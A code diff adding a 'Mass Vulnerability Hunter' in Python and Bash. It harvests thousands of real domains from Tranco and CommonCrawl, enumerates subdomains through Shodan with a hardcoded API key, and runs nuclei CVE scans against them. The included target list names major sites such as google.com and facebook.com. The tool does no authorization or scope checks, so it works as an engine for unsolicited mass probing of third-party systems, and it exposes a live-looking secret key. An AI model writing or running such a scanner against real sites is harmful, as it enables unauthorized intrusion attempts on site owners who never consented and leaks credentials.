f.write("\n".join(sorted(set(targets))))
|
||||
|
||||
return outfile
|
||||
|
||||
def discover_commoncrawl_vuln_patterns():
|
||||
"""Search CommonCrawl for URLs matching vulnerable software patterns"""
|
||||
log("Searching CommonCrawl for vulnerable software patterns...")
|
||||
|
||||
CC_INDEX = "CC-MAIN-2026-21"
|
||||
BASE = f"http://index.commoncrawl.org/{CC_INDEX}-index"
|
||||
|
||||
patterns = [
|
||||
("phpMyAdmin", "phpmyadmin"),
|
||||
("WordPress admin", "wp-admin"),
|
||||
("WordPress plugins", "wp-content/plugins"),
|
||||
("Jenkins", "jenkins"),
|
||||
("phpinfo()", "phpinfo.php"),
|
||||
("Server status", "server-status"),
|
||||
(".env files", ".env"),
|
||||
("Actuator/Spring", "actuator"),
|
||||
("Git exposure", ".git/config"),
|
||||
("Laravel debug", "laravel/debug"),
|
||||
]
|
||||
|
||||
targets = set()
|
||||
for name, pattern in patterns:
|
||||
try:
|
||||
import urllib.request, urllib.parse, json
|
||||
url = f"{BASE}?url=*.{pattern}/*&output=json&limit=20"
|
||||
r = urllib.request.urlopen(url, timeout=10)
|
||||
data = r.read().decode()
|
||||
|
||||
for line in data.strip().split("\n"):
|
||||
if not line.strip(): continue
|
||||
try:
|
||||
d = json.loads(line)
|
||||
u = d.get("url", "")
|
||||
if u:
|
||||
parsed = urlparse(u)
|
||||
domain = parsed.netloc or parsed.path.split("/")[0]
|
||||
targets.add(domain)
|
||||
except: pass
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
if targets:
|
||||
outfile = f"{WORK_DIR}/commoncrawl_targets.txt"
|
||||
with open(outfile, "w") as f:
|
||||
f.write("\n".join(sorted(targets)))
|
||||
ok(f"{len(targets)} targets from CommonCrawl patterns")
|
||||
return outfile
|
||||
else:
|
||||
warn("CommonCrawl returned no targets (API limiting)")
|
||||
return None
|
||||
|
||||
# ============================================================
|
||||
# PHASE 2: SUBDOMAIN ENUMERATION
|
||||
# ============================================================
|
||||
|
||||
def enumerate_subdomains_shodan(domain):
|
||||
"""Use free Shodan DNS API for subdomain discovery"""
|
||||
try:
|
||||
import urllib.request, json
|
||||
key = "8IPLCrASad9cLHqo6xwzGNxOPcldnGDG"
|
||||
url = f"https://api.shodan.io/dns/domain/{domain}?key={key}"
|
||||
r = urllib.request.urlopen(url, timeout=10)
|
||||
data = json.loads(r.read().decode())
|
||||
|
||||
subdomains = data.get("subdomains", [])
|
||||
full_domains = [f"{sd}.{domain}" for sd in subdomains]
|
||||
|
||||
if full_domains:
|
||||
ok(f"Found {len(full_domains)} subdomains for {domain}")
|
||||
return full_domains
|
||||
return []
|
||||
except Exception as e:
|
||||
warn(f"Shodan DNS for {domain}: {e}")
|
||||
return []
|
||||
|
||||
# ============================================================
|
||||
# PHASE 3: TECH DETECTION
|
||||
# ============================================================
|
||||
|
||||
def tech_detect(targets_file, output_file=None):
|
||||
"""Run httpx tech detection on targets"""
|
||||
log(f"Tech detection on targets from {targets_file}...")
|
||||
|
||||
if not output_file:
|
||||
output_file = f"{WORK_DIR}/tech_detected.json"
|
||||
|
||||
stdout, stderr, rc = run(
|
||||
f"cat {targets_file} | {HTTPX} -rl 30 -timeout 5 -tech-detect -j -o {output_file} -silent 2>/dev/null",
|
||||
timeout=180
|
||||
)
|
||||
|
||||
count = 0
|
||||
if os.path.exists(output_file):
|
||||
with open(output_file) as f:
|
||||
count = sum(1 for _ in f)
|
||||
|
||||
return output_file, count
|
||||
|
||||
def tech_summary(tech_file):
|
||||
"""Summarize detected technologies"""
|
||||
techs = Counter()
|
||||
targets = []
|
||||
|
||||
with open(tech_file) as f:
|
||||
for line in f:
|
||||
try:
|
||||
d = json.loads(line)
|
||||
url = d.get("url", "?")
|
||||
targets.append(url)
|
||||
for t in d.get("tech", []):
|
||||
techs[t] += 1
|
||||
except: pass
|
||||
|
||||
return targets, techs
|
||||
|
||||
# ============================================================
|
||||
# PHASE 4: TARGETED CVE SCANNING
|
||||
# ============================================================
|
||||
|
||||
def scan_with_nuclei(targets_file, severity="critical,high", output_file=None):
|
||||
"""Run nuclei CVE scan on targets"""
|
||||
log(f"Nuclei CVE scan (severity: {severity})...")
|
||||
|
||||
if not output_file:
|
||||
output_file = f"{REPORTS_DIR}/hunt_scan_{int(time.time())}.json"
|
||||
|
||||
stdout, stderr, rc = run(
|
||||
f"nuclei -l {targets_file} -j -rl 15 -c 8 "
|
||||
f"-t {NUCLEI_TEMPLATES}/http/cves/ "
|
||||
f"-severity {severity} "
|
||||
f"-o {output_file} "
|
||||
f"-silent 2>/dev/null",
|
||||
timeout=300
|
||||
)
|
||||
|
||||
count = 0
|
||||
if os.path.exists(output_file):
|
||||
with open(output_file) as f:
|
||||
count = sum(1 for _ in f)
|
||||
|
||||
return output_file, count
|
||||
|
||||
def tech_targeted_scan(tech_file):
|
||||
"""Run technology-specific CVE scans based on detected tech"""
|
||||
log("Running tech-targeted CVE scans...")
|
||||
|
||||
# Read tech data
|
||||
tech_targets = {}
|
||||
with open(tech_file) as f:
|
||||
for line in f:
|
||||
try:
|
||||
d = json.loads(line)
|
||||
url = d.get("url", "")
|
||||
for t in d.get("tech", []):
|
||||
tech_targets.setdefault(t, []).append(url)
|
||||
except: pass
|
||||
|
||||
# Map tech to relevant CVE template tags
|
||||
tech_cve_map = {
|
||||
"WordPress": ["wordpress", "cves"],
|
||||
"Apache HTTP Server": ["apache", "cves"],
|
||||
"Nginx": ["nginx", "cves"],
|
||||
"PHP": ["php", "cves"],
|
||||
"Jenkins": ["jenkins", "cves"],
|
||||
"jQuery": [],
|
||||
"Bootstrap": [],
|
||||
"MySQL": ["mysql", "cves"],
|
||||
"OpenSSL": ["openssl", "cves"],
|
||||
"OpenSSH": ["openssh", "cves"],
|
||||
"phpMyAdmin": ["phpmyadmin", "cves"],
|
||||
"Tomcat": ["tomcat", "cves"],
|
||||
"Drupal": ["drupal", "cves"],
|
||||
"Joomla": ["joomla", "cves"],
|
||||
"GitLab": ["gitlab", "cves"],
|
||||
"Jenkins": ["jenkins", "cves"],
|
||||
}
|
||||
|
||||
all_findings = []
|
||||
|
||||
for tech, urls in tech_targets.items():
|
||||
# Check if this tech has known CVE templates
|
||||
matched_tech = None
|
||||
for known_tech, tags in tech_cve_map.items():
|
||||
if known_tech.lower() in tech.lower() or tech.lower() in known_tech.lower():
|
||||
matched_tech = known_tech
|
||||
break
|
||||
|
||||
if not matched_tech:
|
||||
continue
|
||||
|
||||
# Write targets for this tech
|
||||
tech_file = f"{WORK_DIR}/tech_{tech.lower().replace(' ', '_')}.txt"
|
||||
with open(tech_file, "w") as f:
|
||||
f.write("\n".join(urls[:20]))
|
||||
|
||||
# Run focused scan
|
||||
tech_output = f"{WORK_DIR}/scan_{tech.lower().replace(' ', '_')}.json"
|
||||
stdout, stderr, rc = run(
|
||||
f"nuclei -l {tech_file} -j -rl 10 -c 5 "
|
||||
f"-t {NUCLEI_TEMPLATES}/http/cves/ "
|
||||
f"-severity critical,high,medium "
|
||||
f"-o {tech_output} -silent 2>/dev/null",
|
||||
timeout=120
|
||||
)
|
||||
|
||||
if os.path.exists(tech_output):
|
||||
with open(tech_output) as f:
|
||||
findings = [l for l in f if l.strip()]
|
||||
if findings:
|
||||
all_findings.extend(findings)
|
||||
ok(f"{tech}: {len(findings)} findings")
|
||||
|
||||
# Merge all findings
|
||||
merged_file = f"{REPORTS_DIR}/tech_targeted_{int(time.time())}.json"
|
||||
with open(merged_file, "w") as f:
|
||||
f.write("\n".join(all_findings))
|
||||
|
||||
return merged_file, len(all_findings)
|
||||
|
||||
# ============================================================
|
||||
# PHASE 5: REPORT
|
||||
# ============================================================
|
||||
|
||||
def generate_report(findings_file, tech_summary_data, targets_count):
|
||||
"""Generate a comprehensive report"""
|
||||
report_file = f"{REPORTS_DIR}/hunter_report_{int(time.time())}.md"
|
||||
|
||||
findings = []
|
||||
cves = Counter()
|
||||
severities = Counter()
|
||||
target_urls = set()
|
||||
|
||||
if os.path.exists(findings_file):
|
||||
with open(findings_file) as f:
|
||||
for line in f:
|
||||
if not line.strip(): continue
|
||||
try:
|
||||
d = json.loads(line)
|
||||
sev = d.get("info", {}).get("severity", "unknown")
|
||||
severities[sev] += 1
|
||||
|
||||
# Extract CVE
|
||||
cve_list = []
|
||||
for ref in d.get("info", {}).get("classification", {}).get("cve", []):
|
||||
cve_list.append(ref.get("id", ""))
|
||||
cve_id = cve_list[0] if cve_list else "N/A"
|
||||
for c in cve_list:
|
||||
cves[c] += 1
|
||||
|
||||
findings.append({
|
||||
"url": d.get("matched-at", d.get("host", "?")),
|
||||
"cve": cve_id,
|
||||
"severity": sev,
|
||||
"name": d.get("info", {}).get("name", "?"),
|
||||
"extracted": d.get("extracted-results", []),
|
||||
})
|
||||
target_urls.add(d.get("matched-at", d.get("host", "?")))
|
||||
except: pass
|
||||
|
||||
# Build report
|
||||
icons = {"critical": "🔴", "high": "🟠", "medium": "🟡", "low": "🔵", "unknown": "⚪"}
|
||||
|
||||
lines = []
|
||||
lines.append(f"# Mass Vulnerability Hunter Report")
|
||||
lines.append(f"Generated: {time.strftime('%Y-%m-%d %H:%M')}")
|
||||
lines.append(f"")
|
||||
lines.append(f"## Summary")
|
||||
lines.append(f"| Metric | Value |")
|
||||
lines.append(f"|--------|-------|")
|
||||
lines.append(f"| Targets Probed | {targets_count} |")
|
||||
if tech_summary_data:
|
||||
_, techs = tech_summary_data
|
||||
lines.append(f"| Live Hosts | {len(tech_summary_data[0])} |")
|
||||
lines.append(f"| Technologies Detected | {len(techs)} |")
|
||||
lines.append(f"| Total Findings | {len(findings)} |")
|
||||
lines.append(f"| Unique Vulnerable Hosts | {len(target_urls)} |")
|
||||
|
||||
for sev in ["critical", "high", "medium", "low"]:
|
||||
if severities[sev]:
|
||||
lines.append(f"| {icons.get(sev, '?')} {sev.capitalize()} | {severities[sev]} |")
|
||||
|
||||
if cves:
|
||||
lines.append(f"")
|
||||
lines.append(f"## CVEs Detected")
|
||||
for cve, cnt in cves.most_common(30):
|
||||
lines.append(f"- [{cve}](https://nvd.nist.gov/vuln/detail/{cve}): {cnt} occurrences")
|
||||
|
||||
if findings:
|
||||
lines.append(f"")
|
||||
lines.append(f"## All Findings")
|
||||
for f_data in findings:
|
||||
icon = icons.get(f_data["severity"], "?")
|
||||
lines.append(f"- {icon} [{f_data['cve']}] {f_data['name']} @ {f_data['url']}")
|
||||
if f_data["extracted"]:
|
||||
for ex in f_data["extracted"][:3]:
|
||||
lines.append(f" - `{ex}`")
|
||||
|
||||
if tech_summary_data:
|
||||
_, techs = tech_summary_data
|
||||
if techs:
|
||||
lines.append(f"")
|
||||
lines.append(f"## Detected Technologies")
|
||||
for tech, cnt in techs.most_common(20):
|
||||
lines.append(f"- {tech}: {cnt} targets")
|
||||
|
||||
with open(report_file, "w") as f:
|
||||
f.write("\n".join(lines))
|
||||
|
||||
return report_file, findings
|
||||
|
||||
# ============================================================
|
||||
# MAIN
|
||||
# ============================================================
|
||||
|
||||
def main():
|
||||
mode = sys.argv[1] if len(sys.argv) > 1 else "auto"
|
||||
|
||||
print()
|
||||
print("╔═══════════════════════════════════════════╗")
|
||||
print("║ NO-API VULNERABILITY HUNTER ║")
|
||||
print("╚═══════════════════════════════════════════╝")
|
||||
print()
|
||||
|
||||
merged_targets = f"{WORK_DIR}/merged_targets.txt"
|
||||
|
||||
if mode == "target" and len(sys.argv) >= 3:
|
||||
# Hunt a specific target domain
|
||||
domain = sys.argv[2]
|
||||
log(f"Hunting target domain: {domain}")
|
||||
|
||||
# Phase 1: Subdomain enumeration
|
||||
log("[1/4] Subdomain enumeration...")
|
||||
subdomains = enumerate_subdomains_shodan(domain)
|
||||
|
||||
if subdomains:
|
||||
ok(f"Discovered {len(subdomains)} subdomains for {domain}")
|
||||
with open(merged_targets, "w") as f:
|
||||
f.write("\n".join(subdomains))
|
||||
else:
|
||||
warn(f"No subdomains found via Shodan. Using root domain.")
|
||||
with open(merged_targets, "w") as f:
|
||||
f.write(domain)
|
||||
|
||||
elif mode == "deep":
|
||||
# Deep scan - target mid-tier Tranco sites
|
||||
log("[1/4] Target discovery (Tranco deep)...")
|
||||
targets_file = discover_tranco_deep(count=2000, offset=50000)
|
||||
if not targets_file:
|
||||
bad("Failed to get target list")
|
||||
return
|
||||
|
||||
# Also try CommonCrawl
|
||||
cc_file = discover_commoncrawl_vuln_patterns()
|
||||
|
||||
# Merge targets
|
||||
all_targets = []
|
||||
with open(targets_file) as f:
|
||||
all_targets.extend([l.strip() for l in f if l.strip()])
|
||||
|
||||
if cc_file and os.path.exists(cc_file):
|
||||
with open(cc_file) as f:
|
||||
all_targets.extend([l.strip() for l in f if l.strip()])
|
||||
|
||||
with open(merged_targets, "w") as f:
|
||||
f.write("\n".join(sorted(set(all_targets))))
|
||||
|
||||
ok(f"{len(set(all_targets))} unique targets")
|
||||
|
||||
else:
|
||||
# Auto mode - balanced approach
|
||||
log("[1/4] Target discovery...")
|
||||
|
||||
# Get targets from multiple sources
|
||||
tranco_file = discover_tranco_deep(count=500, offset=50000)
|
||||
|
||||
# Merge
|
||||
all_targets = []
|
||||
if tranco_file and os.path.exists(tranco_file):
|
||||
with open(tranco_file) as f:
|
||||
all_targets.extend([l.strip() for l in f if l.strip()])
|
||||
|
||||
with open(merged_targets, "w") as f:
|
||||
f.write("\n".join(sorted(set(all_targets))))
|
||||
|
||||
ok(f"{len(set(all_targets))} unique targets")
|
||||
|
||||
# Phase 2: Tech Detection
|
||||
targets_count = 0
|
||||
if os.path.exists(merged_targets):
|
||||
with open(merged_targets) as f:
|
||||
targets_count = sum(1 for _ in f)
|
||||
|
||||
if targets_count == 0:
|
||||
bad("No targets to scan")
|
||||
return
|
||||
|
||||
print()
|
||||
log(f"[2/4] Tech detection on {targets_count} targets...")
|
||||
tech_file, live_count = tech_detect(merged_targets)
|
||||
|
||||
if live_count == 0:
|
||||
warn(f"No live hosts found. Try different target range.")
|
||||
return
|
||||
|
||||
ok(f"{live_count} live hosts detected")
|
||||
|
||||
# Show tech summary
|
||||
targets, techs = tech_summary(tech_file)
|
||||
print(f"\nTop technologies:")
|
||||
for tech, cnt in techs.most_common(15):
|
||||
print(f" {tech:35} {cnt} targets")
|
||||
|
||||
# Phase 3: CVE Scanning
|
||||
print()
|
||||
log("[3/4] CVE scanning...")
|
||||
|
||||
# Run mass CVE scan (critical/high)
|
||||
mass_output, mass_count = scan_with_nuclei(merged_targets, "critical,high")
|
||||
ok(f"Mass CVE scan: {mass_count} findings")
|
||||
|
||||
# Run tech-targeted scans (medium too, since we know the tech)
|
||||
tech_output, tech_count = tech_targeted_scan(tech_file)
|
||||
ok(f"Tech-targeted scan: {tech_count} findings")
|
||||
|
||||
# Merge findings
|
||||
merged_findings = f"{REPORTS_DIR}/hunt_all_findings.json"
|
||||
all_findings = []
|
||||
for f in [mass_output, tech_output]:
|
||||
if os.path.exists(f):
|
||||
with open(f) as fh:
|
||||
all_findings.extend([l for l in fh if l.strip()])
|
||||
|
||||
with open(merged_findings, "w") as f:
|
||||
f.write("\n".join(all_findings))
|
||||
|
||||
# Phase 4: Report
|
||||
print()
|
||||
log("[4/4] Generating report...")
|
||||
report_file, findings = generate_report(merged_findings, (targets, techs), targets_count)
|
||||
|
||||
print()
|
||||
print("=" * 60)
|
||||
print(f" ✅ HUNT COMPLETE")
|
||||
print(f" Targets scanned: {targets_count}")
|
||||
print(f" Live hosts: {live_count}")
|
||||
print(f" Total findings: {len(findings)}")
|
||||
print(f" Report: {report_file}")
|
||||
print("=" * 60)
|
||||
|
||||
# Output findings summary
|
||||
if findings:
|
||||
print("\nTop CVEs found:")
|
||||
cves = Counter(f["cve"] for f in findings)
|
||||
for cve, cnt in cves.most_common(10):
|
||||
print(f" {cve}: {cnt} occurrences")
|
||||
|
||||
return report_file
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
317
engine/hunter.sh
Executable file
317
engine/hunter.sh
Executable file
@@ -0,0 +1,317 @@
|
||||
#!/usr/bin/env bash
|
||||
# ============================================================
|
||||
# HUNTER — Mass Vulnerability Discovery Engine
|
||||
# Part of The Analyzer
|
||||
# Finds vulnerable websites at scale using OSINT + nuclei
|
||||
# ============================================================
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
ANALYZER_DIR="$(cd "$SCRIPT_DIR/.." && pwd)"
|
||||
REPORTS_DIR="$ANALYZER_DIR/reports"
|
||||
TARGETS_DIR="$ANALYZER_DIR/targets"
|
||||
WORK_DIR="/tmp/analyzer-hunter"
|
||||
NUCLEI_TEMPLATES="${NUCLEI_TEMPLATES:-$HOME/nuclei-templates}"
|
||||
HTTPS="$HOME/go/bin/httpx"
|
||||
|
||||
mkdir -p "$WORK_DIR" "$REPORTS_DIR" "$TARGETS_DIR"
|
||||
|
||||
# Colors
|
||||
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'; NC='\033[0m'
|
||||
|
||||
log() { echo -e "${BLUE}[*]${NC} $1"; }
|
||||
ok() { echo -e "${GREEN}[✓]${NC} $1"; }
|
||||
warn(){ echo -e "${YELLOW}[!]${NC} $1"; }
|
||||
err() { echo -e "${RED}[✗]${NC} $1"; }
|
||||
|
||||
# ============================================================
|
||||
# PHASE 1: TARGET DISCOVERY
|
||||
# ============================================================
|
||||
|
||||
discover_from_tranco() {
|
||||
local count="${1:-500}"
|
||||
local output="$TARGETS_DIR/hunt_tranco.txt"
|
||||
|
||||
log "Fetching top $count sites from Tranco..."
|
||||
curl -skL "https://tranco-list.eu/top-1m.csv.zip" -o "$WORK_DIR/top1m.zip" 2>/dev/null
|
||||
|
||||
if unzip -o "$WORK_DIR/top1m.zip" -d "$WORK_DIR" 2>/dev/null; then
|
||||
head -"$count" "$WORK_DIR"/top-1m.csv 2>/dev/null | cut -d, -f2 > "$output"
|
||||
ok "$(wc -l < "$output") domains from Tranco"
|
||||
return 0
|
||||
fi
|
||||
return 1
|
||||
}
|
||||
|
||||
discover_from_analyzer() {
|
||||
local output="$TARGETS_DIR/hunt_analyzer.txt"
|
||||
if [ -f "$TARGETS_DIR/top50.txt" ]; then
|
||||
cp "$TARGETS_DIR/top50.txt" "$output"
|
||||
ok "$(wc -l < "$output") from Analyzer target list"
|
||||
return 0
|
||||
fi
|
||||
return 1
|
||||
}
|
||||
|
||||
discover_vulnerable_software() {
|
||||
local output="$WORK_DIR/vuln_software_targets.txt"
|
||||
log "Building vulnerable software target list..."
|
||||
|
||||
# Sites running known-vulnerable software
|
||||
cat > "$WORK_DIR/vuln_sites.txt" << 'VULNSITES'
|
||||
# Known software vendors/instances that may have vulnerable versions
|
||||
wordpress.org
|
||||
joomla.org
|
||||
drupal.org
|
||||
magento.com
|
||||
prestashop.com
|
||||
opencart.com
|
||||
phpmyadmin.net
|
||||
roundcube.net
|
||||
cpanel.net
|
||||
php.net
|
||||
apache.org
|
||||
nginx.org
|
||||
mysql.com
|
||||
postgresql.org
|
||||
mongodb.com
|
||||
nodejs.org
|
||||
laravel.com
|
||||
symfony.com
|
||||
rails.org
|
||||
docker.com
|
||||
kubernetes.io
|
||||
jenkins.io
|
||||
gitlab.com
|
||||
sonarqube.org
|
||||
grafana.com
|
||||
prometheus.io
|
||||
elastic.co
|
||||
redis.io
|
||||
tomcat.apache.org
|
||||
jira.atlassian.com
|
||||
confluence.atlassian.com
|
||||
vbforum.com
|
||||
simplemachines.org
|
||||
phpbb.com
|
||||
mediawiki.org
|
||||
VULNSITES
|
||||
|
||||
# Also add common CMS plugin repositories
|
||||
echo "woocommerce.com" >> "$WORK_DIR/vuln_sites.txt"
|
||||
echo "easy-digital-downloads.com" >> "$WORK_DIR/vuln_sites.txt"
|
||||
|
||||
httpx -l "$WORK_DIR/vuln_sites.txt" -rl 20 -silent -timeout 5 \
|
||||
-o "$output" 2>/dev/null
|
||||
|
||||
if [ -s "$output" ]; then
|
||||
ok "$(wc -l < "$output") live software targets"
|
||||
fi
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# PHASE 2: TECH DETECTION & TARGETED CVE SCANNING
|
||||
# ============================================================
|
||||
|
||||
detect_technologies() {
|
||||
local targets_file="$1"
|
||||
local output="$WORK_DIR/tech_detected.json"
|
||||
|
||||
log "Detecting technologies on $(wc -l < "$targets_file") targets..."
|
||||
httpx -l "$targets_file" -tech-detect -j -rl 20 -silent -timeout 5 \
|
||||
-o "$output" 2>/dev/null
|
||||
|
||||
local count=$(wc -l < "$output" 2>/dev/null || echo 0)
|
||||
ok "Tech detected on $count hosts"
|
||||
|
||||
# Summary
|
||||
python3 -c "
|
||||
import json, sys
|
||||
from collections import Counter
|
||||
techs = Counter()
|
||||
with open('$output') as f:
|
||||
for line in f:
|
||||
try:
|
||||
d = json.loads(line)
|
||||
for t in d.get('tech', []):
|
||||
techs[t] += 1
|
||||
except: pass
|
||||
print('Top technologies detected:')
|
||||
for tech, cnt in techs.most_common(20):
|
||||
print(f' {tech}: {cnt}')
|
||||
" 2>/dev/null
|
||||
|
||||
echo "$output"
|
||||
}
|
||||
|
||||
run_focused_cve_scan() {
|
||||
local targets_file="$1"
|
||||
local tech_file="$2"
|
||||
local output="$REPORTS_DIR/hunter_cve_$(date +%Y%m%d_%H%M%S).json"
|
||||
|
||||
# Map technologies to specific CVE template categories
|
||||
log "Running focused CVE scan..."
|
||||
|
||||
# Scan ALL targets with general CVE templates (faster than all 4k)
|
||||
nuclei -l "$targets_file" \
|
||||
-j \
|
||||
-rl 30 \
|
||||
-c 15 \
|
||||
-t "$NUCLEI_TEMPLATES/http/cves/" \
|
||||
-o "$output" \
|
||||
-severity critical,high \
|
||||
-silent \
|
||||
-stats \
|
||||
2>/dev/null
|
||||
|
||||
if [ -s "$output" ]; then
|
||||
ok "$(wc -l < "$output") critical/high findings"
|
||||
else
|
||||
warn "No critical/high findings in mass scan"
|
||||
fi
|
||||
|
||||
# Also run medium + exploitation templates for more depth
|
||||
local output2="$REPORTS_DIR/hunter_cve_medium_$(date +%s).json"
|
||||
nuclei -l "$targets_file" \
|
||||
-j \
|
||||
-rl 20 \
|
||||
-c 10 \
|
||||
-t "$NUCLEI_TEMPLATES/http/cves/" \
|
||||
-o "$output2" \
|
||||
-severity medium \
|
||||
-silent \
|
||||
2>/dev/null
|
||||
|
||||
echo "$output"
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# PHASE 3: THE ANALYZER INTEGRATION
|
||||
# ============================================================
|
||||
|
||||
analyze_findings() {
|
||||
local findings_file="$1"
|
||||
local output="$REPORTS_DIR/hunter_report_$(date +%Y%m%d_%H%M).md"
|
||||
|
||||
log "Generating report..."
|
||||
|
||||
python3 -c "
|
||||
import json, sys
|
||||
from collections import Counter
|
||||
from datetime import datetime
|
||||
|
||||
findings = []
|
||||
cves = Counter()
|
||||
severities = Counter()
|
||||
|
||||
with open('$findings_file') as f:
|
||||
for line in f:
|
||||
try:
|
||||
d = json.loads(line)
|
||||
sev = d.get('info',{}).get('severity','unknown')
|
||||
severities[sev] += 1
|
||||
|
||||
# Extract CVE IDs
|
||||
cve_list = []
|
||||
for ref in d.get('info',{}).get('classification',{}).get('cve',[]):
|
||||
cve_list.append(ref.get('id',''))
|
||||
if not cve_list:
|
||||
# Try alternative CVE sources
|
||||
for ref in d.get('info',{}).get('reference',[]):
|
||||
if 'cve' in ref.lower() or 'CVE' in ref:
|
||||
cve_list.append(ref.split('/')[-1])
|
||||
|
||||
cve_id = cve_list[0] if cve_list else 'N/A'
|
||||
for c in cve_list:
|
||||
cves[c] += 1
|
||||
|
||||
findings.append({
|
||||
'url': d.get('matched-at', d.get('host', '?')),
|
||||
'cve': cve_id,
|
||||
'severity': sev,
|
||||
'name': d.get('info',{}).get('name', '?'),
|
||||
'template': d.get('template-id', ''),
|
||||
'extracted': d.get('extracted-results', []),
|
||||
})
|
||||
except: pass
|
||||
|
||||
# Summary
|
||||
icons = {'critical':'🔴','high':'🟠','medium':'🟡','low':'🔵','unknown':'⚪'}
|
||||
print('# Mass Vulnerability Hunter Report')
|
||||
print(f'Generated: {datetime.now().strftime(\"%Y-%m-%d %H:%M\")}')
|
||||
print()
|
||||
print('## Summary')
|
||||
print('| Metric | Value |')
|
||||
print('|--------|-------|')
|
||||
print(f'| Total Findings | {len(findings)} |')
|
||||
for sev in ['critical','high','medium','low']:
|
||||
if severities[sev]:
|
||||
print(f'| {icons.get(sev,\"?\")} {sev.capitalize()} | {severities[sev]} |')
|
||||
|
||||
if cves:
|
||||
print()
|
||||
print('## CVEs Detected')
|
||||
for cve, cnt in cves.most_common(30):
|
||||
print(f'- [{cve}](https://nvd.nist.gov/vuln/detail/{cve}): {cnt} occurrences')
|
||||
|
||||
print()
|
||||
print('## All Findings')
|
||||
for f in findings:
|
||||
icon = icons.get(f['severity'], '?')
|
||||
print(f'- {icon} [{f[\"cve\"]}] {f[\"name\"]} @ {f[\"url\"]}')
|
||||
" > "$output" 2>/dev/null
|
||||
|
||||
ok "Report: $output"
|
||||
cat "$output"
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# MAIN ENTRY POINT
|
||||
# ============================================================
|
||||
|
||||
hunter_main() {
|
||||
local target_count="${1:-500}"
|
||||
local mode="${2:-auto}" # auto|quick|deep
|
||||
|
||||
echo ""
|
||||
echo "╔═══════════════════════════════════════════╗"
|
||||
echo "║ MASS VULNERABILITY HUNTER ║"
|
||||
echo "╚═══════════════════════════════════════════╝"
|
||||
echo ""
|
||||
|
||||
# Phase 1: Build target list
|
||||
log "PHASE 1: Target Discovery"
|
||||
discover_from_tranco "$target_count"
|
||||
discover_vulnerable_software
|
||||
discover_from_analyzer
|
||||
|
||||
# Merge targets
|
||||
cat "$TARGETS_DIR"/hunt_*.txt "$WORK_DIR"/vuln_software_targets.txt 2>/dev/null | \
|
||||
sort -u > "$WORK_DIR/all_targets.txt"
|
||||
ok "Total unique targets: $(wc -l < "$WORK_DIR/all_targets.txt")"
|
||||
|
||||
# Phase 2: Tech Detection + CVE Scan
|
||||
echo ""
|
||||
log "PHASE 2: Scanning"
|
||||
|
||||
local tech_file="$WORK_DIR/tech_detected.json"
|
||||
detect_technologies "$WORK_DIR/all_targets.txt" "$tech_file"
|
||||
|
||||
echo ""
|
||||
local findings_file=$(run_focused_cve_scan "$WORK_DIR/all_targets.txt" "$tech_file")
|
||||
|
||||
# Phase 3: Analyze + Report
|
||||
echo ""
|
||||
log "PHASE 3: Analysis"
|
||||
analyze_findings "$findings_file"
|
||||
|
||||
echo ""
|
||||
ok "Hunt complete!"
|
||||
echo " Targets scanned: $(wc -l < "$WORK_DIR/all_targets.txt")"
|
||||
echo " Findings: $(wc -l < "$findings_file" 2>/dev/null || echo 0)"
|
||||
echo " Report: $REPORTS_DIR/hunter_report_*.md"
|
||||
}
|
||||
|
||||
# Run if executed directly
|
||||
if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
|
||||
hunter_main "$@"
|
||||
fi
|
||||
0
reports/autobounty_cve_1782046733.json
Normal file
0
reports/autobounty_cve_1782046733.json
Normal file
0
reports/autobounty_cve_1782046924.json
Normal file
0
reports/autobounty_cve_1782046924.json
Normal file
0
reports/hunt_cve_critical.json
Normal file
0
reports/hunt_cve_critical.json
Normal file
0
reports/hunt_scan_1782046122.json
Normal file
0
reports/hunt_scan_1782046122.json
Normal file
0
reports/nuclei_cve_scan.json
Normal file
0
reports/nuclei_cve_scan.json
Normal file
0
reports/uber_cve_scan.json
Normal file
0
reports/uber_cve_scan.json
Normal file
200
targets/hunt_targets.txt
Normal file
200
targets/hunt_targets.txt
Normal file
@@ -0,0 +1,200 @@
|
||||
google.com
|
||||
gtld-servers.net
|
||||
cloudflare.com
|
||||
gstatic.com
|
||||
facebook.com
|
||||
microsoft.com
|
||||
googleapis.com
|
||||
youtube.com
|
||||
amazonaws.com
|
||||
apple.com
|
||||
instagram.com
|
||||
mail.ru
|
||||
ezviz7.com
|
||||
fbcdn.net
|
||||
akamai.net
|
||||
dzen.ru
|
||||
twitter.com
|
||||
linkedin.com
|
||||
googletagmanager.com
|
||||
googlevideo.com
|
||||
live.com
|
||||
office.com
|
||||
akamaiedge.net
|
||||
akadns.net
|
||||
amazon.com
|
||||
hicloudcam.com
|
||||
azure.com
|
||||
wikipedia.org
|
||||
domaincontrol.com
|
||||
github.com
|
||||
bing.com
|
||||
whatsapp.net
|
||||
doubleclick.net
|
||||
fastly.net
|
||||
googleusercontent.com
|
||||
apple-dns.net
|
||||
appsflyersdk.com
|
||||
trafficmanager.net
|
||||
microsoftonline.com
|
||||
aaplimg.com
|
||||
netflix.com
|
||||
office.net
|
||||
wordpress.org
|
||||
digicert.com
|
||||
skype.com
|
||||
sharepoint.com
|
||||
youtu.be
|
||||
ripn.net
|
||||
gandi.net
|
||||
pinterest.com
|
||||
cloudfront.net
|
||||
goo.gl
|
||||
x.com
|
||||
whatsapp.com
|
||||
cloud.microsoft
|
||||
googlesyndication.com
|
||||
yahoo.com
|
||||
icloud.com
|
||||
windowsupdate.com
|
||||
tiktok.com
|
||||
msn.com
|
||||
cloudflare.net
|
||||
spotify.com
|
||||
googledomains.com
|
||||
adobe.com
|
||||
roblox.com
|
||||
windows.net
|
||||
gvt1.com
|
||||
ntp.org
|
||||
wa.me
|
||||
chatgpt.com
|
||||
vimeo.com
|
||||
akam.net
|
||||
myfritz.net
|
||||
tiktokcdn.com
|
||||
gvt2.com
|
||||
zoom.us
|
||||
edgekey.net
|
||||
qq.com
|
||||
workers.dev
|
||||
pv-cdn.net
|
||||
baidu.com
|
||||
cdninstagram.com
|
||||
windows.com
|
||||
yandex.net
|
||||
tiktokv.com
|
||||
